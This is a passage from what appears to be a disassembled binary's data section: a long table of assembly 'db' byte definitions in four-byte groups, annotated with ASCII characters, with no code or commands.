db 50h ; P db 3 ; db 0D2h ; db 0BFh ; db 51h ; Q db 1 ; db 0D2h ; db 0BFh ; db 52h ; R db 1 ; db 0D2h ; db 0BFh ; db 53h ; S db 2 ; db 0D2h ; db 0BFh ; db 55h ; U db 3 ; db 0D2h ; db 0BFh ; db 60h ; ` db 1 ; db 0D2h ; db 0C5h ; db 48h ; H db 14h ; db 0D2h ; db 0C5h ; db 48h ; H db 15h ; db 0D2h ; db 0C7h ; db 0DFh ; db 62h ; b db 0D2h ; db 0C9h ; db 1Fh ; db 1 ; db 0D2h ; db 0D7h ; db 1 ; db 1 ; db 0D2h ; db 0D7h ; db 2 ; db 1 ; db 0D2h ; db 0DDh ; db 80h ; db 1 ; db 0D2h ; db 0DDh ; db 80h ; db 2 ; db 0D2h ; db 0E0h ; db 85h ; db 0D2h ; db 0D2h ; db 0E0h ; db 85h ; db 0DBh ; db 0D2h ; db 0E1h ; db 1Eh ; db 52h ; R db 0D2h ; db 0E2h ; db 9Ah ; db 0E2h ; db 0D2h ; db 0E2h ; db 6 ; db 0DAh ; db 0D2h ; db 0E4h ; db 78h ; x db 0FEh ; db 0D2h ; db 0E4h ; db 9Fh ; db 1 ; db 0D2h ; db 0E4h ; db 0A0h ; db 0Ah ; db 0D2h ; db 0E4h ; db 0A0h ; db 0Bh ; db 0D2h ; db 0E5h ; db 0A0h ; db 0Ch ; db 0D2h ; db 0E5h ; db 0A0h ; db 0Dh ; db 0D2h ; db 0E5h ; db 0A8h ; db 52h ; R db 0D2h ; db 0E5h ; db 40h ; @ db 1 ; db 0D2h ; db 0E5h ; db 40h ; @ db 2 ; db 0D2h ; db 0E6h ; db 0FDh ; db 1 ; db 0D2h ; db 0E7h ; db 64h ; d db 85h ; db 0D2h ; db 0E7h ; db 64h ; d db 5 ; db 0D2h ; db 0E7h ; db 68h ; h db 0CBh ; db 0D2h ; db 0E7h ; db 69h ; i db 82h ; db 0D2h ; db 0E7h ; db 6Ch ; l db 1 ; db 0D2h ; db 0E7h ; db 6Ch ; l db 2 ; db 0D2h ; db 0E7h ; db 6Eh ; n db 0FCh ; db 0D2h ; db 0E7h ; db 70h ; p db 0Ah ; db 0D2h ; db 0E7h ; db 70h ; p db 0Bh ; db 0D2h ; db 0E7h ; db 71h ; q db 2 ; db 0D2h ; db 0E7h ; db 81h ; db 1 ; db 0D2h ; db 0E7h ; db 0AAh ; db 0C8h ; db 0D2h ; db 0E7h ; db 0DCh ; db 82h ; db 0D2h ; db 0E7h ; db 5Ch ; \ db 2 ; db 0D2h ; db 0E7h ; db 61h ; a db 0C9h ; db 0D2h ; db 0EBh ; db 23h ; # db 9 ; db 0D2h ; db 0EEh ; db 9 ; db 0Ah ; db 0D2h ; db 0F0h ; db 97h ; db 1 ; db 0D2h ; db 0F1h ; db 0C0h ; db 0C9h ; db 0D2h ; db 0F1h ; db 0C0h ; db 0CAh ; db 0D2h ; db 0F1h ; db 0EEh ; db 55h ; U db 0D2h ; db 0F1h ; db 47h ; G db 1 ; db 0D2h ; db 0F1h ; db 49h ; I db 21h ; ! db 0D2h ; db 0F1h ; db 4Bh ; K db 0C8h ; db 0D2h ; db 0F1h ; db 4Fh ; O db 1 ; db 0D2h ; db 0F3h ; db 0E5h ; db 7Dh ; } db 0D2h ; db 0F4h ; db 8Bh ; db 0Ah ; db 0D2h ; db 0F8h ; db 84h ; db 0F2h ; db 0D2h ; db 0F8h ; db 0A8h ; db 2 ; db 0D2h ; db 0FAh ; db 0C0h ; db 32h ; 2 db 0D2h ; db 0FAh ; db 1Fh ; db 42h ; B db 0D2h ; db 0FBh ; db 6Fh ; o db 2 ; db 0D2h ; db 0FBh ; db 0A0h ; db 12h ; db 0D2h ; db 0FBh ; db 0C0h ; db 82h ; db 0D2h ; db 0FBh ; db 0C0h ; db 84h ; db 0D2h ; db 0FBh ; db 4Dh ; M db 42h ; B db 0D2h ; db 0FBh ; db 50h ; P db 0Ah ; db 0D2h ; db 0FBh ; db 55h ; U db 2 ; db 0D2h ; db 0FDh ; db 25h ; % db 1Ah ; db 0D2h ; db 0FDh ; db 2Bh ; + db 0Ah ; db 0D2h ; db 0FDh ; db 2Bh ; + db 0Bh ; db 0D2h ; db 0FDh ; db 30h ; 0 db 82h ; db 0D2h ; db 0FDh ; db 30h ; 0 db 83h ; db 0D2h ; db 0FEh ; db 4Bh ; K db 2 ; db 0D2h ; db 1Fh ; db 0 ; db 0Ah ; db 0D2h ; db 1Fh ; db 64h ; d db 4 ; db 0D2h ; db 1Fh ; db 68h ; h db 6 ; db 0D2h ; db 1Fh ; db 68h ; h db 7 ; db 0D2h ; db 1Fh ; db 78h ; x db 0Ah ; db 0D2h ; db 1Fh ; db 78h ; x db 0Dh ; db 0D2h ; db 1Fh ; db 80h ; db 1 ; db 0D2h ; db 1Fh ; db 0A0h ; db 8 ; db 0D2h ; db 1Fh ; db 0C7h ; db 4 ; db 0D2h ; db 1Fh ; db 0D0h ; db 8 ; db 0D2h ; db 1Fh ; db 20h ; db 8 ; db 0D2h ; db 1Fh ; db 3Dh ; = db 42h ; B db 0D2h ; db 1Fh ; db 60h ; ` db 4 ; db 0D2h ; db 1Fh ; db 60h ; ` db 5 ; db 0D2h ; db 33h ; 3 db 10h ; db 33h ; 3 db 0D2h ; db 33h ; 3 db 10h ; db 34h ; 4 db 0D2h ; db 34h ; 4 db 95h ; db 2 ; db 0D2h ; db 34h ; 4 db 0CFh ; db 2 ; db 0D2h ; db 34h ; 4 db 0D4h ; db 7Ah ; z db 0D2h ; db 35h ; 5 db 1Fh ; db 2 ; db 0D2h ; db 37h ; 7 db 69h ; i db 0ECh ; db 0D2h ; db 3Bh ; ; db 0E4h ; db 0Bh ; db 0D2h ; db 3Bh ; ; db 0E5h ; db 2 ; db 0D2h ; db 3Dh ; = db 65h ; e db 0FDh ; db 0D2h ; db 3Dh ; = db 69h ; i db 1 ; db 0D2h ; db 3Dh ; = db 6Eh ; n db 1 ; db 0D2h ; db 3Dh ; = db 72h ; r db 2 ; db 0D2h ; db 3Dh ; = db 73h ; s db 6 ; db 0D2h ; db 3Dh ; = db 7Eh ; ~ db 1 ; db 0D2h ; db 3Dh ; = db 82h ; db 1 ; db 0D2h ; db 3Dh ; = db 83h ; db 1 ; db 0D2h ; db 3Dh ; = db 87h ; db 1 ; db 0D2h ; db 3Dh ; = db 88h ; db 1 ; db 0D2h ; db 3Dh ; = db 89h ; db 0F1h ; db 0D2h ; db 3Dh ; = db 8Fh ; db 22h ; " db 0D2h ; db 3Dh ; = db 95h ; db 2 ; db 0D2h ; db 3Dh ; = db 9Fh ; db 0FDh ; db 0D2h ; db 3Dh ; = db 0A4h ; db 1 ; db 0D2h ; db 3Dh ; = db 0A6h ; db 1 ; db 0D2h ; db 3Dh ; = db 0B2h ; db 2 ; db 0D2h ; db 3Dh ; = db 0B6h ; db 2 ; db 0D2h ; db 3Dh ; = db 0BAh ; db 1 ; db 0D2h ; db 3Dh ; = db 0BCh ; db 1 ; db 0D2h ; db 3Dh ; = db 0D0h ; db 1 ; db 0D2h ; db 3Dh ; = db 0D1h ; db 1 ; db 0D2h ; db 3Dh ; = db 0D7h ; db 0E2h ; db 0D2h ; db 3Dh ; = db 0E4h ; db 6Fh ; o db 0D2h ; db 3Dh ; = db 0E8h ; db 0FDh ; db 0D2h ; db 3Dh ; = db 0EAh ; db 0Ah ; db 0D2h ; db 3Dh ; = db 0F6h ; db 1 ; db 0D2h ; db 3Dh ; = db 0F6h ; db 2 ; db 0D2h ; db 3Dh ; = db 25h ; % db 0Bh ; db 0D2h ; db 3Dh ; = db 31h ; 1 db 1 ; db 0D2h ; db 3Dh ; = db 49h ; I db 19h ; db 0D2h ; db 3Dh ; = db 52h ; R db 1 ; db 0D2h ; db 3Dh ; = db 55h ; U db 0Ah ; db 0D2h ; db 3Dh ; = db 58h ; X db 1 ; db 0D2h ; db 3Fh ; ? db 5Ch ; \ db 1 ; db 0D2h ; db 3Fh ; ? db 5Ch ; \ db 2 ; db 0D2h ; db 40h ; @ db 37h ; 7 db 8Bh ; db 0D2h ; db 42h ; B db 92h ; db 90h ; db 0D2h ; db 45h ; E db 45h ; E db 2 ; db 0D2h ; db 45h ; E db 49h ; I db 1 ; db 0D2h ; db 47h ; G db 66h ; f db 1 ; db 0D2h ; db 47h ; G db 66h ; f db 4 ; db 0D2h ; db 47h ; G db 6Dh ; m db 1 ; db 0D2h ; db 47h ; G db 70h ; p db 1 ; db 0D2h ; db 47h ; G db 76h ; v db 1 ; db 0D2h ; db 47h ; G db 7Ah ; z db 1 ; db 0D2h ; db 47h ; G db 0AAh ; db 1 ; db 0D2h ; db 47h ; G db 0B0h ; db 1 ; db 0D2h ; db 47h ; G db 0B3h ; db 0FAh ; db 0D2h ; db 47h ; G db 0DAh ; db 82h ; db 0D2h ; db 47h ; G db 0DDh ; db 0FCh ; db 0D2h ; db 47h ; G db 18h ; db 3 ; db 0D2h ; db 47h ; G db 0F0h ; db 1 ; db 0D2h ; db 47h ; G db 0F1h ; db 8 ; db 0D2h ; db 47h ; G db 0F1h ; db 9 ; db 0D2h ; db 47h ; G db 26h ; & db 1 ; db 0D2h ; db 47h ; G db 4 ; db 3Ch ; < db 0D2h ; db 47h ; G db 2Ch ; , db 0A2h ; db 0D2h ; db 47h ; G db 30h ; 0 db 1 ; db 0D2h ; db 47h ; G db 35h ; 5 db 1 ; db 0D2h ; db 47h ; G db 38h ; 8 db 1 ; db 0D2h ; db 47h ; G db 3Eh ; > db 1 ; db 0D2h ; db 47h ; G db 40h ; @ db 3 ; db 0D2h ; db 47h ; G db 47h ; G db 1 ; db 0D2h ; db 47h ; G db 49h ; I db 2 ; db 0D2h ; db 47h ; G db 4Ah ; J db 1 ; db 0D2h ; db 47h ; G db 4Dh ; M db 1 ; db 0D2h ; db 47h ; G db 4Dh ; M db 3 ; db 0D2h ; db 47h ; G db 4Eh ; N db 1 ; db 0D2h ; db 47h ; G db 4Eh ; N db 2 ; db 0D2h ; db 47h ; G db 50h ; P db 0FCh ; db 0D2h ; db 47h ; G db 5Bh ; [ db 0FDh ; db 0D2h ; db 47h ; G db 63h ; c db 0FDh ; db 0D2h ; db 8 ; db 2Ch ; , db 1 ; db 0D2h ; db 50h ; P db 3Ah ; : db 62h ; b db 0D2h ; db 50h ; P db 3Ch ; < db 1 ; db 0D2h ; db 50h ; P db 3Ch ; < db 2 ; db 0D2h ; db 50h ; P db 3Eh ; > db 81h ; db 0D2h ; db 50h ; P db 3Eh ; > db 91h ; db 0D2h ; db 51h ; Q db 70h ; p db 0Ch ; db 0D2h ; db 51h ; Q db 9Dh ; db 5 ; db 0D2h ; db 51h ; Q db 12h ; db 26h ; & db 0D2h ; db 51h ; Q db 18h ; db 12h ; db 0D2h ; db 51h ; Q db 57h ; W db 21h ; ! db 0D2h ; db 9 ; db 4Ah ; J db 0A3h ; db 0D2h ; db 5Eh ; ^ db 0 ; db 7 ; db 0D2h ; db 62h ; b db 0E0h ; db 58h ; X db 0D2h ; db 62h ; b db 0E0h ; db 59h ; Y db 0D3h ; db 1 ; db 65h ; e db 2 ; db 0D3h ; db 1 ; db 67h ; g db 71h ; q db 0D3h ; db 1 ; db 6Ch ; l db 1 ; db 0D3h ; db 1 ; db 71h ; q db 2 ; db 0D3h ; db 1 ; db 72h ; r db 2 ; db 0D3h ; db 1 ; db 74h ; t db 2 ; db 0D3h ; db 1 ; db 75h ; u db 2 ; db 0D3h ; db 1 ; db 76h ; v db 2 ; db 0D3h ; db 1 ; db 76h ; v db 3 ; db 0D3h ; db 1 ; db 7Ch ; | db 66h ; f db 0D3h ; db 1 ; db 7Ch ; | db 67h ; g db 0D3h ; db 1 ; db 90h ; db 2 ; db 0D3h ; db 1 ; db 93h ; db 2 ; db 0D3h ; db 1 ; db 93h ; db 3 ; db 0D3h ; db 1 ; db 94h ; db 2 ; db 0D3h ; db 1 ; db 94h ; db 3 ; db 0D3h ; db 1 ; db 95h ; db 2 ; db 0D3h ; db 1 ; db 0A0h ; db 3 ; db 0D3h ; db 1 ; db 0A0h ; db 4 ; db 0D3h ; db 1 ; db 0C0h ; db 61h ; a db 0D3h ; db 1 ; db 0C0h ; db 62h ; b db 0D3h ; db 1 ; db 0CBh ; db 0Ah ; db 0D3h ; db 1 ; db 0CBh ; db 0Dh ; db 0D3h ; db 1 ; db 28h ; ( db 1 ; db 0D3h ; db 1 ; db 28h ; ( db 8 ; db 0D3h ; db 0Ah ; db 0A2h ; db 44h ; D db 0D3h ; db 0Ah ; db 0FDh ; db 2Ah ; * db 0D3h ; db 0Ah ; db 1Ah ; db 0B1h ; db 0D3h ; db 0Bh ; db 92h ; db 0Ch ; db 0D3h ; db 0Bh ; db 60h ; ` db 1 ; db 0D3h ; db 6Fh ; o db 0D0h ; db 0CCh ; db 0D3h ; db 6Fh ; o db 0D0h ; db 0CFh ; db 0D3h ; db 72h ; r db 0Eh ; db 1 ; db 0D3h ; db 73h ; s db 0DEh ; db 0E7h ; db 0D3h ; db 78h ; x db 0E0h ; db 24h ; $ db 0D3h ; db 7Ch ; | db 0 ; db 0A9h ; db 0D3h ; db 7Ch ; | db 0 ; db 0C3h ; db 0D3h ; db 7Eh ; ~ db 0F8h ; db 82h ; db 0D3h ; db 80h ; db 60h ; ` db 63h ; c db 0D3h ; db 85h ; db 0DFh ; db 29h ; ) db 0D3h ; db 0Fh ; db 0AFh ; db 1 ; db 0D3h ; db 0Fh ; db 3Ah ; : db 62h ; b db 0D3h ; db 0ABh ; db 0ACh ; db 86h ; db 0D3h ; db 0C2h ; db 0DAh ; db 2 ; db 0D3h ; db 15h ; db 78h ; x db 1 ; db 0D3h ; db 15h ; db 0BCh ; db 3Ah ; : db 0D3h ; db 15h ; db 8 ; db 0ECh ; db 0D3h ; db 0D8h ; db 32h ; 2 db 96h ; db 0D3h ; db 0D8h ; db 32h ; 2 db 0A0h ; db 0D3h ; db 16h ; db 35h ; 5 db 21h ; ! db 0D3h ; db 17h ; db 34h ; 4 db 83h ; db 0D3h ; db 0ECh ; db 6Dh ; m db 3 ; db 0D3h ; db 0FEh ; db 2Bh ; + db 0Bh ; db 0D3h ; db 24h ; $ db 0C0h ; db 1 ; db 0D3h ; db 24h ; $ db 0C0h ; db 2 ; db 0D3h ; db 29h ; ) db 4 ; db 21h ; ! db 0D3h ; db 29h ; ) db 4 ; db 22h ; " db 0D3h ; db 2Fh ; / db 80h ; db 1 ; db 0D3h ; db 2Fh ; / db 80h ; db 2 ; db 0D3h ; db 2Fh ; / db 2Dh ; - db 17h ; db 0D3h ; db 5 ; db 1 ; db 0D9h ; db 0D3h ; db 3Dh ; = db 0EDh ; db 0C3h ; db 0D3h ; db 3Fh ; ? db 2Bh ; + db 33h ; 3 db 0D3h ; db 47h ; G db 0A0h ; db 22h ; " db 0D3h ; db 47h ; G db 0A0h ; db 23h ; # db 0D3h ; db 47h ; G db 0BCh ; db 0BCh ; db 0D3h ; db 51h ; Q db 91h ; db 1 ; db 0D3h ; db 51h ; Q db 91h ; db 5 ; db 0D3h ; db 51h ; Q db 99h ; db 0C8h ; db 0D3h ; db 51h ; Q db 10h ; db 2 ; db 0D3h ; db 51h ; Q db 10h ; db 3 ; db 0D3h ; db 51h ; Q db 0D8h ; db 3 ; db 0D3h ; db 51h ; Q db 0E0h ; db 1 ; db 0D4h ; db 1 ; db 78h ; x db 3 ; db 0D4h ; db 1 ; db 7Ah ; z db 0FCh ; db 0D4h ; db 1 ; db 7Ch ; | db 2 ; db 0D4h ; db 1 ; db 80h ; db 28h ; ( db 0D4h ; db 1 ; db 80h ; db 2Ah ; * db 0D4h ; db 65h ; e db 0 ; db 0Ah ; db 0D4h ; db 65h ; e db 0C0h ; db 46h ; F db 0D4h ; db 65h ; e db 0C0h ; db 47h ; G db 0D4h ; db 65h ; e db 20h ; db 33h ; 3 db 0D4h ; db 65h ; e db 27h ; ' db 33h ; 3 db 0D4h ; db 65h ; e db 4 ; db 0FDh ; db 0D4h ; db 69h ; i db 0C1h ; db 2 ; db 0D4h ; db 6Ch ; l db 0C8h ; db 4Bh ; K db 0D4h ; db 6Dh ; m db 22h ; " db 0A2h ; db 0D4h ; db 0Bh ; db 80h ; db 1Ah ; db 0D4h ; db 0Bh ; db 5Fh ; _ db 0C8h ; db 0D4h ; db 6Fh ; o db 0C0h ; db 22h ; " db 0D4h ; db 6Fh ; o db 0C0h ; db 23h ; # db 0D4h ; db 6Fh ; o db 20h ; db 26h ; & db 0D4h ; db 6Fh ; o db 30h ; 0 db 28h ; ( db 0D4h ; db 6Fh ; o db 30h ; 0 db 29h ; ) db 0D4h ; db 6Fh ; o db 33h ; 3 db 0AAh ; db 0D4h ; db 6Fh ; o db 40h ; @ db 84h ; db 0D4h ; db 6Fh ; o db 4Ch ; L db 0F3h ; db 0D4h ; db 71h ; q db 0 ; db 1 ; db 0D4h ; db 71h ; q db 0 ; db 2 ; db 0D4h ; db 71h ; q db 46h ; F db 0Ah ; db 0D4h ; db 73h ; s db 0C0h ; db 0C1h ; db 0D4h ; db 73h ; s db 0C0h ; db 0C3h ; db 0D4h ; db 78h ; x db 42h ; B db 0CCh ; db 0D4h ; db 79h ; y db 0 ; db 0C2h ; db 0D4h ; db 79h ; y db 0 ; db 0DBh ; db 0D4h ; db 79h ; y db 80h ; db 1 ; db 0D4h ; db 79h ; y db 80h ; db 2 ; db 0D4h ; db 79h ; y db 82h ; db 5 ; db 0D4h ; db 79h ; y db 0C0h ; db 1 ; db 0D4h ; db 79h ; y db 0C0h ; db 22h ; " db 0D4h ; db 79h ; y db 24h ; $ db 2 ; db 0D4h ; db 7Ah ; z db 1 ; db 2 ; db 0D4h ; db 7Ah ; z db 80h ; db 0Ah ; db 0D4h ; db 7Ah ; z db 81h ; db 0Ah ; db 0D4h ; db 7Bh ; { db 64h ; d db 64h ; d db 0D4h ; db 7Bh ; { db 60h ; ` db 64h ; d db 0D4h ; db 7Eh ; ~ db 0C8h ; db 29h ; ) db 0D4h ; db 81h ; db 0 ; db 4 ; db 0D4h ; db 83h ; db 9Bh ; db 2 ; db 0D4h ; db 83h ; db 9Bh ; db 3 ; db 0D4h ; db 83h ; db 0A0h ; db 2 ; db 0D4h ; db 83h ; db 0A8h ; db 6 ; db 0D4h ; db 83h ; db 0A8h ; db 7 ; db 0D4h ; db 83h ; db 1Eh ; db 2Ah ; * db 0D4h ; db 83h ; db 1Eh ; db 2Bh ; + db 0D4h ; db 8Bh ; db 80h ; db 3 ; db 0D4h ; db 8Bh ; db 81h ; db 82h ; db 0D4h ; db 0Eh ; db 41h ; A db 2 ; db 0D4h ; db 8Ch ; db 0F6h ; db 0FDh ; db 0D4h ; db 8Ch ; db 0F6h ; db 0FEh ; db 0D4h ; db 8Dh ; db 98h ; db 1 ; db 0D4h ; db 8Dh ; db 0A8h ; db 4 ; db 0D4h ; db 8Dh ; db 0BEh ; db 50h ; P db 0D4h ; db 8Dh ; db 0BEh ; db 51h ; Q db 0D4h ; db 8Dh ; db 0DBh ; db 7 ; db 0D4h ; db 8Dh ; db 0E8h ; db 0FEh ; db 0D4h ; db 8Dh ; db 1Fh ; db 2 ; db 0D4h ; db 8Dh ; db 3Dh ; = db 1 ; db 0D4h ; db 8Dh ; db 54h ; T db 0Ch ; db 0D4h ; db 8Eh ; db 1Ch ; db 42h ; B db 0D4h ; db 91h ; db 4 ; db 61h ; a db 0D4h ; db 91h ; db 4 ; db 62h ; b db 0D4h ; db 92h ; db 0 ; db 0Ah ; db 0D4h ; db 92h ; db 0 ; db 0Bh ; db 0D4h ; db 9Bh ; db 6Fh ; o db 2 ; db 0D4h ; db 9Bh ; db 0A8h ; db 1 ; db 0D4h ; db 9Bh ; db 0C3h ; db 61h ; a db 0D4h ; db 9Ch ; db 4 ; db 14h ; db 0D4h ; db 9Ch ; db 4 ; db 4 ; db 0D4h ; db 9Fh ; db 0C0h ; db 8 ; db 0D4h ; db 9Fh ; db 0C0h ; db 9 ; db 0D4h ; db 0A4h ; db 0 ; db 66h ; f db 0D4h ; db 11h ; db 20h ; db 2 ; db 0D4h ; db 0B5h ; db 36h ; 6 db 2 ; db 0D4h ; db 0B5h ; db 36h ; 6 db 3 ; db 0D4h ; db 0B6h ; db 3Fh ; ? db 42h ; B db 0D4h ; db 0B9h ; db 0B9h ; db 13h ; db 0D4h ; db 0BCh ; db 8 ; db 22h ; " db 0D4h ; db 0BFh ; db 0A1h ; db 28h ; ( db 0D4h ; db 0BFh ; db 0A5h ; db 5 ; db 0D4h ; db 0BFh ; db 0A8h ; db 2 ; db 0D4h ; db 0BFh ; db 0C0h ; db 22h ; " db 0D4h ; db 0BFh ; db 0C8h ; db 6 ; db 0D4h ; db 0BFh ; db 21h ; ! db 2 ; db 0D4h ; db 0BFh ; db 40h ; @ db 0Ah ; db 0D4h ; db 0BFh ; db 41h ; A db 2 ; db 0D4h ; db 0BFh ; db 43h ; C db 2 ; db 0D4h ; db 0BFh ; db 46h ; F db 0Ah ; db 0D4h ; db 0BFh ; db 46h ; F db 3 ; db 0D4h ; db 0BFh ; db 47h ; G db 4 ; db 0D4h ; db 0C6h ; db 1 ; db 42h ; B db 0D4h ; db 14h ; db 0 ; db 7Eh ; ~ db 0D4h ; db 14h ; db 9Eh ; db 0FEh ; db 0D4h ; db 14h ; db 9Fh ; db 0FEh ; db 0D4h ; db 0C9h ; db 12h ; db 46h ; F db 0D4h ; db 0C9h ; db 12h ; db 47h ; G db 0D4h ; db 0C9h ; db 18h ; db 11h ; db 0D4h ; db 0D0h ; db 0B9h ; db 1 ; db 0D4h ; db 0D0h ; db 0DAh ; db 1 ; db 0D4h ; db 0D0h ; db 0DEh ; db 0C9h ; db 0D4h ; db 0D0h ; db 0DEh ; db 0CAh ; db 0D4h ; db 0D0h ; db 0E5h ; db 1 ; db 0D4h ; db 0D0h ; db 17h ; db 1 ; db 0D4h ; db 15h ; db 0 ; db 2 ; db 0D4h ; db 15h ; db 0 ; db 9 ; db 0D4h ; db 15h ; db 79h ; y db 83h ; db 0D4h ; db 15h ; db 79h ; y db 85h ; db 0D4h ; db 15h ; db 0A1h ; db 40h ; @ db 0D4h ; db 15h ; db 0A2h ; db 11h ; db 0D4h ; db 15h ; db 0E0h ; db 3 ; db 0D4h ; db 15h ; db 0E0h ; db 4 ; db 0D4h ; db 15h ; db 40h ; @ db 22h ; " db 0D4h ; db 15h ; db 41h ; A db 2 ; db 0D4h ; db 0DAh ; db 0 ; db 3 ; db 0D4h ; db 0DAh ; db 40h ; @ db 3 ; db 0D4h ; db 0DBh ; db 39h ; 9 db 0C8h ; db 0D4h ; db 0DFh ; db 5 ; db 1 ; db 0D4h ; db 0E2h ; db 0E2h ; db 1 ; db 0D4h ; db 0E9h ; db 58h ; X db 2 ; db 0D4h ; db 0EAh ; db 0EBh ; db 0F1h ; db 0D4h ; db 0ECh ; db 0D4h ; db 0Dh ; db 0D4h ; db 0ECh ; db 0D4h ; db 0Eh ; db 0D4h ; db 0F2h ; db 28h ; ( db 2 ; db 0D4h ; db 0F2h ; db 28h ; ( db 32h ; 2 db 0D4h ; db 0F5h ; db 9Eh ; db 42h ; B db 0D4h ; db 0F5h ; db 0FFh ; db 2 ; db 0D4h ; db 0F9h ; db 11h ; db 9Dh ; db 0D4h ; db 0F9h ; db 11h ; db 9Eh ; db 0D4h ; db 0FCh ; db 77h ; w db 3 ; db 0D4h ; db 0FCh ; db 77h ; w db 4 ; db 0D4h ; db 1Fh ; db 0E0h ; db 2 ; db 0D4h ; db 1Fh ; db 0E0h ; db 3 ; db 0D4h ; db 1Fh ; db 0F4h ; db 3 ; db 0D4h ; db 1Fh ; db 0FDh ; db 0A0h ; db 0D4h ; db 1Fh ; db 56h ; V db 64h ; d db 0D4h ; db 1Fh ; db 58h ; X db 64h ; d db 0D4h ; db 21h ; ! db 20h ; db 0A0h ; db 0D4h ; db 21h ; ! db 37h ; 7 db 5 ; db 0D4h ; db 22h ; " db 0FAh ; db 2 ; db 0D4h ; db 22h ; " db 0FAh ; db 8 ; db 0D4h ; db 28h ; ( db 0 ; db 0Ah ; db 0D4h ; db 28h ; ( db 5 ; db 32h ; 2 db 0D4h ; db 29h ; ) db 2 ; db 0E4h ; db 0D4h ; db 29h ; ) db 0D0h ; db 6 ; db 0D4h ; db 29h ; ) db 0D0h ; db 7 ; db 0D4h ; db 29h ; ) db 0D0h ; db 8 ; db 0D4h ; db 29h ; ) db 4 ; db 1 ; db 0D4h ; db 29h ; ) db 4 ; db 42h ; B db 0D4h ; db 29h ; ) db 40h ; @ db 21h ; ! db 0D4h ; db 29h ; ) db 44h ; D db 21h ; ! db 0D4h ; db 2Ah ; * db 0F2h ; db 2 ; db 0D4h ; db 2Dh ; - db 0ACh ; db 0Bh ; db 0D4h ; db 30h ; 0 db 2Ch ; , db 46h ; F db 0D4h ; db 31h ; 1 db 80h ; db 41h ; A db 0D4h ; db 31h ; 1 db 80h ; db 42h ; B db 0D4h ; db 5 ; db 42h ; B db 0Eh ; db 0D4h ; db 32h ; 2 db 0 ; db 0Ah ; db 0D4h ; db 32h ; 2 db 0 ; db 0Fh ; db 0D4h ; db 33h ; 3 db 0 ; db 41h ; A db 0D4h ; db 33h ; 3 db 0 ; db 44h ; D db 0D4h ; db 33h ; 3 db 0A0h ; db 1 ; db 0D4h ; db 33h ; 3 db 0A0h ; db 2 ; db 0D4h ; db 33h ; 3 db 0C0h ; db 2 ; db 0D4h ; db 33h ; 3 db 0C0h ; db 5 ; db 0D4h ; db 33h ; 3 db 0C8h ; db 0F2h ; db 0D4h ; db 33h ; 3 db 0CFh ; db 43h ; C db 0D4h ; db 33h ; 3 db 21h ; ! db 6Ah ; j db 0D4h ; db 3Dh ; = db 0Fh ; db 8 ; db 0D4h ; db 3Dh ; = db 19h ; db 0E2h ; db 0D4h ; db 3Dh ; = db 1Ah ; db 2 ; db 0D4h ; db 3Dh ; = db 1Ah ; db 22h ; " db 0D4h ; db 3Fh ; ? db 0Ah ; db 0FAh ; db 0D4h ; db 3Fh ; ? db 0Bh ; db 0FAh ; db 0D4h ; db 3Fh ; ? db 80h ; db 0D4h ; db 0D4h ; db 41h ; A db 0C1h ; db 6 ; db 0D4h ; db 41h ; A db 0F2h ; db 0D2h ; db 0D4h ; db 43h ; C db 20h ; db 28h ; ( db 0D4h ; db 43h ; C db 20h ; db 41h ; A db 0D4h ; db 7 ; db 80h ; db 0A2h ; db 0D4h ; db 47h ; G db 0 ; db 2 ; db 0D4h ; db 47h ; G db 0 ; db 3 ; db 0D4h ; db 47h ; G db 80h ; db 0Ch ; db 0D4h ; db 47h ; G db 80h ; db 8 ; db 0D4h ; db 47h ; G db 80h ; db 9 ; db 0D4h ; db 47h ; G db 85h ; db 6 ; db 0D4h ; db 47h ; G db 9Ch ; db 22h ; " db 0D4h ; db 47h ; G db 40h ; @ db 0Ch ; db 0D4h ; db 47h ; G db 40h ; @ db 0Dh ; db 0D4h ; db 53h ; S db 44h ; D db 83h ; db 0D4h ; db 56h ; V db 0C0h ; db 3Bh ; ; db 0D4h ; db 56h ; V db 0C1h ; db 0Ch ; db 0D4h ; db 57h ; W db 40h ; @ db 0Ch ; db 0D4h ; db 57h ; W db 57h ; W db 0Bh ; db 0D4h ; db 59h ; Y db 0 ; db 2 ; db 0D4h ; db 59h ; Y db 0 ; db 5 ; db 0D4h ; db 5Bh ; [ db 0C0h ; db 3 ; db 0D4h ; db 5Bh ; [ db 0E7h ; db 22h ; " db 0D4h ; db 5Bh ; [ db 20h ; db 5 ; db 0D4h ; db 5Bh ; [ db 20h ; db 6 ; db 0D4h ; db 5Bh ; [ db 61h ; a db 3 ; db 0D4h ; db 5Bh ; [ db 61h ; a db 4 ; db 0D4h ; db 61h ; a db 81h ; db 45h ; E db 0D5h ; db 0Bh ; db 66h ; f db 0FDh ; db 0D5h ; db 0Bh ; db 6Fh ; o db 0D2h ; db 0D5h ; db 0Bh ; db 75h ; u db 1 ; db 0D5h ; db 0Bh ; db 75h ; u db 2 ; db 0D5h ; db 0Bh ; db 7Bh ; { db 1 ; db 0D5h ; db 0Bh ; db 89h ; db 0Ah ; db 0D5h ; db 0Bh ; db 8Eh ; db 1 ; db 0D5h ; db 0Bh ; db 95h ; db 0B4h ; db 0D5h ; db 0Bh ; db 95h ; db 0B5h ; db 0D5h ; db 0Bh ; db 0A0h ; db 0C9h ; db 0D5h ; db 0Bh ; db 0ACh ; db 1 ; db 0D5h ; db 80h ; db 0C2h ; db 2 ; db 0D5h ; db 83h ; db 20h ; db 22h ; " db 0D5h ; db 83h ; db 20h ; db 23h ; # db 0D5h ; db 83h ; db 40h ; @ db 2 ; db 0D5h ; db 83h ; db 40h ; @ db 3 ; db 0D5h ; db 8Dh ; db 0C0h ; db 47h ; G db 0D5h ; db 8Dh ; db 0C4h ; db 2 ; db 0D5h ; db 8Dh ; db 19h ; db 0E1h ; db 0D5h ; db 8Dh ; db 19h ; db 0E2h ; db 0D5h ; db 0B2h ; db 40h ; @ db 2 ; db 0D5h ; db 0B5h ; db 80h ; db 81h ; db 0D5h ; db 0B7h ; db 0 ; db 1 ; db 0D5h ; db 0C2h ; db 3Ch ; < db 0C2h ; db 0D5h ; db 0C2h ; db 3Ch ; < db 0E2h ; db 0D5h ; db 15h ; db 8Dh ; db 2 ; db 0D5h ; db 15h ; db 0A4h ; db 2 ; db 0D5h ; db 0D7h ; db 43h ; C db 1 ; db 0D5h ; db 0DBh ; db 3Eh ; > db 3 ; db 0D5h ; db 0EBh ; db 21h ; ! db 1 ; db 0D5h ; db 19h ; db 0A9h ; db 1 ; db 0D5h ; db 24h ; $ db 50h ; P db 2 ; db 0D5h ; db 24h ; $ db 50h ; P db 4 ; db 0D5h ; db 28h ; ( 